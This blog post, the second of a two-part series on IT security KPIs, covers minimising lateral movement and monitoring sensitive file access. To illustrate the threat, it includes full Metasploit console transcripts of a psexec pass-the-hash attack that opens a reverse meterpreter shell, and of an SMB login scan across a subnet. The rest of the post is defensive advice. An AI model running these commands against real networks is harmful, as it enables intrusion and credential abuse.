- September 8, 2017
- Posted by: Steven Aiello
- Category: Secure Data, Security
In my last post, IT Security KPIs: 4 Effective Measurements for your Organization – pt. 1, I began by analyzing common ways attackers break into networks and developed strategies to mitigate these attacks. By focusing resources on areas that attackers frequently leverage to gain access into a network, we have a better chance at defending the organization.
The result of this exercise was the development of KPIs that organizations can use to measure the effectiveness of their security program. In the previous post, I identified and discussed the first two KPIs. In this second post, I will cover the final two key performance indicators.
As a review, here are the first two KPIs:
We explored ways to increase confidence that usernames and passwords being leveraged in the environment are, in fact, being used by their rightful owners and not nefarious actors. We discussed how to make changes to Active Directory in order to prevent or limit password theft, and pass the hash attacks. In addition to the options we discussed in our last post, two-factor authentication is a wonderful form of protection.
This indicator explored ways to ensure confidence in the systems that users leverage. We discussed patching cycles, application whitelisting, and host isolation. I also covered how to measure the success of this KPI and showed what a sample report may look like.
While we’ve set a solid foundation for our security program, there are still weaknesses that need to be addressed. Based on the sample controls I’ve addressed thus far, there is still the potential for an attacker to harvest credentials from each user they compromise. To recap, an attacker should not be able to harvest cached credentials from desktops, but unfortunately, mobile workers with laptops still are at risk.
Unless the attacker is fortunate enough to locate the data on the victim’s laptop, they will need to move across the network. So, what systems will attackers target and how will they gain access to these systems?The easiest way for attackers to gain access to data is via a file sharing protocol. The easiest way for attackers to gain access to data is via a file sharing protocol. Click To Tweet Unfortunately, these protocols have minimal security controls; to date, there’s no way to enable 2FA on a native SMB or NFS share.
So if our attacker has access to a remote workers laptop, how will they gain access to corporate data? One of the most commonly used attack tools to accomplish this is an application called Metasploit.
We’ll cover two tools commonly used:
These two tools are by no means the only way of accomplishing this. You can use Python or PowerShell to accomplish the same task; however, the attack process is easiest to illustrate with the two utilities we’re mentioning here. Also, the method to detect these actions are the same for any tool the attacker may use.
root@kali:~# msfconsole ## ### ## ## ## ## #### ###### #### ##### ##### ## #### ###### ####### ## ## ## ## ## ## ## ## ## ## ### ## ####### ###### ## ##### #### ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ##### ## ## ## ## ## ## ## #### ### ##### ##### ## #### #### #### ### ## =[ metasploit v4.2.0-dev [core:4.2 api:1.0] + -- --=[ 787 exploits - 425 auxiliary - 128 post + -- --=[ 238 payloads - 27 encoders - 8 nops =[ svn r14551 updated yesterday (2012.01.14) msf > search psexec Exploits ======== Name Description ---- ----------- windows/smb/psexec Microsoft Windows Authenticated User Code Execution windows/smb/smb_relay Microsoft Windows SMB Relay Code Execution msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(psexec) > set LHOST 192.168.57.133 LHOST => 192.168.57.133 msf exploit(psexec) > set LPORT 443 LPORT => 443 msf exploit(psexec) > set RHOST 192.168.57.131 RHOST => 192.168.57.131 msf exploit(psexec) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.57.131 yes The target address RPORT 445 yes Set the SMB service port SMBPass no The password for the specified username SMBUser Administrator yes The username to authenticate as Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LHOST 192.168.57.133 yes The local address LPORT 443 yes The local port Exploit target: Id Name -- ---- 0 Automatic msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit [*] Connecting to the server... [*] Started reverse handler [*] Authenticating as user 'Administrator'... [*] Uploading payload... [*] Created \KoVCxCjx.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ... [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (XKqtKinn - "MSSeYtOQydnRPWl")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting \KoVCxCjx.exe... [*] Sending stage (719360 bytes) [*] Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045) meterpreter > shell Process 3680 created. Channel 1 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32>
Psexec is a tool Windows administrators may be familiar with. You can see the commands that need to be executed in order to gain access to a victim shell on a remote system.
Notice the line that reads: msf exploit (psexec) > set SMBPass e52cac67419…
The long string of alphanumeric characters shown here are the same pieces of information that an attacker was able to gain using the hashdump or run hashdump commands. But this particular method of trying to access other systems isn’t as effective as it could be. What if there was a way for an attacker to simply scan an entire network leveraging this technique? This is where the Metasploit module smb_login comes into play:
msf > use auxiliary/scanner/smb/smb_login msf auxiliary(smb_login) > show options Module options (auxiliary/scanner/smb/smb_login): Name Current Setting Required Description ---- --------------- -------- ----------- ABORT_ON_LOCKOUT false yes Abort the run when an account lockout is detected BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list DETECT_ANY_AUTH true no Enable detection of systems accepting any authentication PASS_FILE no File containing passwords, one per line PRESERVE_DOMAINS true no Respect a username that contains a domain name. Proxies no A proxy chain of format type:host:port[,type:host:port][...] RECORD_GUEST false no Record guest-privileged random logins to the database RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(smb_login) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf auxiliary(smb_login) > set SMBUser victim SMBUser => victim msf auxiliary(smb_login) > set SMBPass s3cr3t SMBPass => s3cr3t msf auxiliary(smb_login) > set THREADS 50 THREADS => 50 msf auxiliary(smb_login) > run [*] 192.168.1.100 - FAILED 0xc000006d - STATUS_LOGON_FAILURE [*] 192.168.1.111 - FAILED 0xc000006d - STATUS_LOGON_FAILURE [*] 192.168.1.114 - FAILED 0xc000006d - STATUS_LOGON_FAILURE [*] 192.168.1.125 - FAILED 0xc000006d - STATUS_LOGON_FAILURE [*] 192.168.1.116 - SUCCESSFUL LOGIN (Unix) [*] Auxiliary module execution completed msf auxiliary(smb_login) >
If you notice towards the bottom of these screen captures there are two commands of interest:
- msf auxiliary(smb_login) > set RHOSTS 192.168.1.0/24
- msf auxiliary(smb_login) > set SMBPass s3cr3t
Notice two things
1. The attacker can set a subnet mask to scan as noted by set RHOSTS 192.168.1.0/24.
2. The attacker is using a plain text password; however, you can also use a recovered password hash with this exploit as well.
This is a pivotal moment for an attacker. They have a shell on the victim host, a valid username, and password hash. They are scanning a large segment of your environment in an attempt to gain access to potentially critical systems. The scariest part about this process is that generally there will be no warnings from your IDS/IPS systems, your SIEM tools, and your end users will not notice any suspicious behavior because the attacker is using valid credentials. This is one of the worst possible scenarios an organization can be in.
So, how do we protect ourselves against this situation, and how do we measure how well our security program is executing on that protection?
3. Minimization of Lateral Movement
The goal of KPI three is to measure how much we can minimize all available lateral movement throughout the organization’s network. This is where smart security policies and technical controls intersect. Since we’ve seen that the majority of attacks enter the organization through endpoint systems, we should establish policies that do not allow the following types of activities:
1. Ping scans from unapproved LAN hosts
2.Port scans from unapproved LAN hosts (TCP & UDP)
3. SMB sharing between LAN users
4. Any other activity that would require endpoints to engage in peer-to-peer communication
For example, if an organization wants to enable file sharing between users, all file sharing should be done from a server within the data center. Users should not be allowed to enable and share files off of their endpoints, and users should not engage in network scanning of any kind. If we have these policies in place, when attackers engage in scanning activities it can be easily detected. How is this activity detected? Through several options, each with their own pros and cons.
If you have a limited budget, the most cost effective (but primitive) method is to implement Private VLANs (PVLAN) on your LAN segments. You can then enable an access control list on those ports that are members of the PVLAN. If you’re unfamiliar with PVLANs, the graphic below, taken from Cisco’s website, illustrates how a private VLAN works:
When you leverage isolated PVLANs, systems attached to the ports are simply not able to communicate amongst themselves. As previously mentioned, you place an access control list (ACL) on ports for violations of those controls. ACL violations should be forwarded to your SIEM tool of choice. Any violation should be investigated immediately, as it is an indicator of lateral movement on the network. If you have a larger budget, you could implement a solution like Cisco’s Stealthwatch.
Stealthwatch is a netflow visibility tool; netflow consists of metadata about traffic flows in an environment. That metadata can also alert us to lateral movement an attacker may attempt. Where a simple PVLAN access list violation tells us something bad has happened, a tool like Stealthwatch can provide much greater visibility about what actually occurred. Alarms can be set as thresholds of activity are breached. Netflow data can also provide information about application use that may violate policy, such as streaming video or music.
Finally, there are additional micro-segmentation techniques for the data center and LAN such as: VMware’s NSX, Cisco’s ACI and ISE platforms. Each of these subjects could fill an entire blog post, but if you are thinking of building a more robust security program they are definitely worth investigating.
As we’re finishing our 3rd KPI, we should take stock on the working room attackers have within our environment:
- The attacker should be limited to a single valid username and password hash
- The attacker cannot actively scan the local subnet or any other subnets protected by private VLANs or other network visibility tools
This situation leaves the attacker a very narrow window of opportunity, but we should seek to close the gap. The attacker could be fortunate and the endpoint they compromised could have mapped SMB shares that contain sensitive data. What is our course of action at this point?
4. Percent of Sensitive Data Monitored for Anomalous Access
I’m a realist. It’s very difficult to stop an attacker once they’ve gained access to your file shares with valid user credentials, but we shouldn’t give up. There are at least two things we can do in this situation that can give us an opportunity to discover an attacker. Again, I will present two options: one for organizations that may not have a large security budget, and a second for organizations with larger budgets.
- Setup “honey shares” on file shares with sensitive information
- Monitor successful file access and alert on the most sensitive data
- Implement a technology that analysis file access behaviors, and will alert on deviation
The first two options can be implemented free of cost. Some people would consider my term “honey share” as a honey pot. The term used is unimportant, what is important, however, is that the advantage we have here over the attacker is that they will have to look for data on file shares in order to locate their objective. If you place what appears to be a juicy target on a file share, an attacker will most likely attempt to read the files. Within Windows you can enable the successful access of files. Note this WILL cause a massive amount of events in event viewer, but if you set up a “honey share” no valid user should be accessing it. At a high level you need to do two things to set up object access auditing.
First, enable auditing on the folder, subfolders, and files that are sensitive, as shown above.
Second, you have to enable audit object access within group policy and ensure it’s applied to the correct systems. The same tactic can be used on a highly sensitive file share, but the amount of generated audit logs will be significant. These audit logs can be forwarded to a system like Splunk, which will summarize alerts for you. This will be helpful to reduce the volume of alerts that will be created, but to monitor all legitimate file access manually will be an intensive process. In order to reduce this burden, there are pay for products on the market that will attempt to learn user access patterns, only alerting when they believe there’s been a change in access that warrants investigation.
One of the products that performs this type of action is Varonis’s Datadvantage. Datadvantage builds a model of regular access from all your users, and will report any perceived malicious activity. Datadvantage has capabilities to scan SMB or NFS shares and report where potentially sensitive information resides. Datadvantage can also provide you with information, such as last access time, so you can start to delete old information. This reduces the amount of data available for attackers to steal, therefore reducing your risk level.
In review, we covered why we selected our KPIs — they were based on the most likely actions an attacker will take during a data breach, according to relevant security reports by Verizon, Mandiant, and Cisco.
Our objective was to protect:
- Accounts representing authorized users
- The systems those users are accessing
- The network systems use to pass data
- Types of data users access in order to complete work
There are certainly other security measures that organizations can put in place, but ultimately they will be protecting one of these four core areas within the data ecosystem.
For a final review, I’ve outlined 4 KPIs that can be used to measure the success of our security program:
1. Confidence Level in Account Validity
2. Confidence in System Control
3. Minimization of Lateral Movement
4. Percent of Sensitive Data Monitored for Anomalous Access
When executives begin monitoring and measuring these four key areas, they can start to gain confidence that the security organization is operating effectively. If any one of these pillars is lacking, attackers gain movement room within an organization.
What’s important, though, is that we systematically look at how attackers are actually operating in environments and pick controls that achieve asymmetric results. Carefully designed controls that cover practical attack vectors will always be more effective than controls that are selected based on vendor marketing budgets.Carefully designed controls that cover practical attack vectors will always be more effective than controls that are selected based on vendor marketing budgets. Click To Tweet